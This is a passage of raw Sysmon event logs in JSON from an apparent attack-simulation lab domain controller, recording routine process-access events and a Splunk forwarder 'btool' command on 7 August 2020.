AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001055F10200}\r\nTargetProcessId: 3884\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001055F10200}","TargetProcessId":"3884","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1633,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.502\r\nProcessGuid: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nProcessId: 3896\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001055F10200}\r\nParentProcessId: 3884\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.502","ProcessGuid":"{90617006-3FE5-5F2D-0000-0010C9F20200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001055F10200}","ParentProcessId":"3884","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1634,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001055F10200}\r\nSourceProcessId: 3884\r\nSourceThreadId: 3888\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nTargetProcessId: 3896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001055F10200}","SourceProcessId":"3884","SourceThreadId":"3888","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010C9F20200}","TargetProcessId":"3896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1635,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nTargetProcessId: 3896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010C9F20200}","TargetProcessId":"3896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1636,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1637,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1638,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1639,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1640,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1641,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 